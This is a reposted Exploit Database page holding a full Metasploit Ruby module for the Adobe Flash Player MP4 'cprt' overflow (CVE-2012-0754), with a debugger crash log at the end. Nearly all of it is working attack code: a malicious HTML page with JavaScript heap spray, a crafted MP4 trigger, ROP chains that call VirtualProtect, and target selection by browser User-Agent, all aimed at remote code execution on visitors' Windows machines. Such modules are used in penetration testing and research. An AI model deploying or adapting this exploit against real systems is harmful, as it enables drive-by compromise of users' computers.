Adobe Flash Player – ‘.mp4 cprt’ Remote Overflow (Metasploit)

• Exploit Database
• 86 阅读

• 作者： Metasploit
  日期： 2012-03-08
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18572/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "Adobe Flash Player MP4 'cprt' Overflow",
  			'Description'=> %q{
  				This module exploits a vulnerability found in Adobe Flash Player.
  				By supplying a corrupt .mp4 file loaded by Flash, it is possible to gain arbitrary
  				remote code execution under the context of the user.
  
  				This vulnerability has been exploited in the wild as part of the 
  				"Iran's Oil and Nuclear Situation.doc" e-mail attack.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Alexander Gavrun', # Vulnerability discovery
  					'sinn3r', # Metasploit module
  					'juan vazquez'# Metasploit module
  				],
  			'References' =>
  				[
  					[ 'CVE', '2012-0754' ],
  					[ 'OSVDB', '79300'],
  					[ 'BID', '52034' ],
  					[ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html' ],
  					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-03.html' ]
  				],
  			'Payload'=>
  				{
  					'StackAdjustment' => -3500
  				},
  			'DefaultOptions'=>
  				{
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# Flash Player 11.1.102.55
  					# Flash Player 10.3.183.10
  					[ 'Automatic', {} ],
  					[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ],
  					[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ],
  					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ],
  					[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre,'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ],
  					[ 'IE 7 on Windows Vista',{ 'Rop' => nil, 'Offset' => '0x600', 'Ret' => 0x0c0c0c0c } ]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Feb 15 2012",
  			'DefaultTarget'=> 0))
  	end
  
  	def junk(n=4)
  		return rand_text_alpha(n).unpack("V").first
  	end
  
  	def nop
  		return make_nops(4).unpack("V").first
  	end
  
  	def get_payload(t)
  
  		if t['Rop'].nil?
  			code = ""
  		else
  			code = "\xbc\x0c\x0c\x0c\x0c"#Fix the stack to avoid a busted encoder
  		end
  		code << payload.encoded
  
  		# No rop. Just return the payload.
  		return code if t['Rop'].nil?
  
  		# Both ROP chains generated by mona.py - See corelan.be
  		case t['Rop']
  		when :msvcrt
  			rop =
  			[
  				0x77c4e392,# POP EAX # RETN
  				0x77c11120,# <- *&VirtualProtect()
  				0x77c2e493,# MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
  				junk,
  				0x77c2dd6c,
  				0x77c4ec00,# POP EBP # RETN
  				0x77c35459,# ptr to 'push esp #ret'
  				0x77c47705,# POP EBX # RETN
  				0x00000800,# <- change size to mark as executable if needed (-> ebx)
  				0x77c3ea01,# POP ECX # RETN
  				0x77c5d000,# W pointer (lpOldProtect) (-> ecx)
  				0x77c46100,# POP EDI # RETN 
  				0x77c46101,# ROP NOP (-> edi)
  				0x77c4d680,# POP EDX # RETN
  				0x00000040,# newProtect (0x40) (-> edx)
  				0x77c4e392,# POP EAX # RETN
  				nop,# NOPS (-> eax)
  				0x77c12df9,# PUSHAD # RETN
  			].pack("V*")
  
  		when :jre
  			rop =
  			[
  				0x7c37653d,# POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
  				0xfffffdff,# Value to negate, will become 0x00000201 (dwSize)
  				0x7c347f98,# RETN (ROP NOP)
  				0x7c3415a2,# JMP [EAX]
  				0xffffffff,
  				0x7c376402,# skip 4 bytes
  				0x7c351e05,# NEG EAX # RETN
  				0x7c345255,# INC EBX # FPATAN # RETN
  				0x7c352174,# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
  				0x7c344f87,# POP EDX # RETN
  				0xffffffc0,# Value to negate, will become 0x00000040
  				0x7c351eb1,# NEG EDX # RETN
  				0x7c34d201,# POP ECX # RETN
  				0x7c38b001,# &Writable location
  				0x7c347f97,# POP EAX # RETN
  				0x7c37a151,# ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
  				0x7c378c81,# PUSHAD # ADD AL,0EF # RETN
  				0x7c345c30,# ptr to 'push esp #ret '
  			].pack("V*")
  		end
  
  		pivot= [0x77C1CAFB].pack('V*')#POP/POP/RET
  		pivot << [junk].pack('V*')
  		pivot << [t.ret].pack('V*')
  
  		code = pivot + rop + code
  		return code
  	end
  
  	def get_target(agent)
  		#If the user is already specified by the user, we'll just use that
  		return target if target.name != 'Automatic'
  
  		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
  			return targets[1]#IE 6 on Windows XP SP3
  		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
  			return targets[2]#IE 7 on Windows XP SP3
  		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
  			return targets[3]#IE 8 on Windows XP SP3
  		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
  			return targets[5]#IE 7 on Windows Vista
  		else
  			return nil
  		end
  	end
  
  	def on_request_uri(cli, request)
  
  		agent = request.headers['User-Agent']
  		my_target = get_target(agent)
  
  		# Avoid the attack if the victim doesn't have the same setup we're targeting
  		if my_target.nil?
  			print_error("#{cli.peerhost}:#{cli.peerport} Browser not supported, will not launch attack: #{agent.to_s}")
  			send_not_found(cli)
  			return
  		end
  
  		print_status("#{cli.peerhost}:#{cli.peerport} Client requesting: #{request.uri}")
  
  		# The SWF requests our MP4 trigger
  		if request.uri =~ /\.mp4$/
  			print_status("#{cli.peerhost}:#{cli.peerport} Sending MP4...")
  			mp4 = create_mp4(my_target)
  			send_response(cli, mp4, {'Content-Type'=>'video/mp4'})
  			return
  		end
  
  		if request.uri =~ /\.swf$/
  			print_status("#{cli.peerhost}:#{cli.peerport} Sending Exploit SWF...")
  			send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
  			return
  		end
  
  		p = get_payload(my_target)
  
  		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
  		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
  
  		js_pivot = <<-JS
  		var heap_obj = new heapLib.ie(0x20000);
  		var code = unescape("#{js_code}");
  		var nops = unescape("#{js_nops}");
  
  		while (nops.length < 0x80000) nops += nops;
  		var offset = nops.substring(0, #{my_target['Offset']});
  		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  
  		while (shellcode.length < 0x40000) shellcode += shellcode;
  		var block = shellcode.substring(0, (0x80000-6)/2);
  
  		heap_obj.gc();
  		heap_obj.debug(true);
  		for (var i=1; i < 0x1C2; i++) {
  			heap_obj.alloc(block);
  		}
  		heap_obj.debug(true);
  		JS
  
  		js_pivot = heaplib(js_pivot, {:noobfu => true})
  
  		swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
  		swf_uri << "/Exploit.swf"
  		print_status("#{cli.peerhost}:#{cli.peerport} #{swf_uri}")
  
  		html = %Q|
  <html>
  <head>
  <script>
  #{js_pivot}
  </script>
  </head>
  <body>
  <center>
  <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
  id="test" width="1" height="1"
  codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
  <param name="movie" value="#{swf_uri}" />
  <embed src="https://www.exploit-db.com/exploits/18572/#{swf_uri}" quality="high"
  width="1" height="1" name="test" align="middle"
  allowNetworking="all"
  type="application/x-shockwave-flash"
  pluginspage="http://www.macromedia.com/go/getflashplayer">
  </embed>
  
  </object>
  </center>
  
  </body>
  </html>
  		|
  
  		html = html.gsub(/^\t\t/, '')
  
  		#
  		# "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource
  		#
  		proc = Proc.new do |cli, req|
  			on_request_uri(cli, req)
  		end
  
  		add_resource({'Path'=>'/test.mp4', 'Proc'=>proc}) rescue nil
  		print_status("#{cli.peerhost}:#{cli.peerport} Sending html...")
  		send_response(cli, html, {'Content-Type'=>'text/html'})
  	end
  
  	def cleanup
  		remove_resource('/test.mp4') rescue nil
  		super
  	end
  
  	def exploit
  		@swf = create_swf
  		super
  	end
  
  	def create_swf
  		path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0754.swf" )
  		fd = ::File.open( path, "rb" )
  		swf = fd.read(fd.stat.size)
  		fd.close
  
  		return swf
  	end
  
  	def create_mp4(target)
  		mp4 = ""
  		mp4 << "\x00\x00\x00\x18"
  		mp4 << "ftypmp42"
  		mp4 << "\x00\x00\x00\x00"
  		mp4 << "mp42isom"
  		mp4 << "\x00\x00\x00\x0D"
  		mp4 << "cprt"
  		mp4 << "\x00\xFF\xFF\xFF"
  		mp4 << "\x00\x00\x00\x00"
  		mp4 << "\x0c\x0c\x0c\x0c" * 2586
  
  		return mp4
  	end
  
  end
  
  =begin
  C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx
  C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx
  
  (510.9b4): Access violation - code c0000005 (first chance)
  First chance exceptions are reported before any exception handling.
  This exception may be expected and handled.
  eax=0c0c0c0c ebx=03e46810 ecx=0396b160 edx=00000004 esi=03e46cd4 edi=00000000
  eip=10048b65 esp=0428fd10 ebp=0428feb4 iopl=0 nv up ei pl zr na pe nc
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010246
  *** ERROR: Symbol file could not be found.Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx - 
  Flash10x+0x48b65:
  10048b65 ff5008calldword ptr [eax+8]ds:0023:0c0c0c14=????????
  =end
  

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